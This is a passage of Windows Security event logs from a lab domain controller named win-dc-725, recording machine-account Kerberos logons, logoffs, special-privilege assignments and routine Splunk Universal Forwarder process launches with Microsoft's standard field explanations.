	Logon ID:		0x1029D3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250216
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x102972

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250215
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x102972
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64413

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250214
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x102972

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250213
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10290C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250212
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10290C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64412

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250211
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10290C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250210
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1028AB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250209
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1028AB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64411

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250208
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1028AB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250207
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10272C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250206
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10272C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64410

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250205
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10272C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250204
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12bc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250203
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x129c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250202
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250253
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10fc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250252
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1314
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal pre-flight-checks --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250250
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250249
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250248
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13e0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250247
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1038A4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250246
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1038A4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64418

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250245
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1038A4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
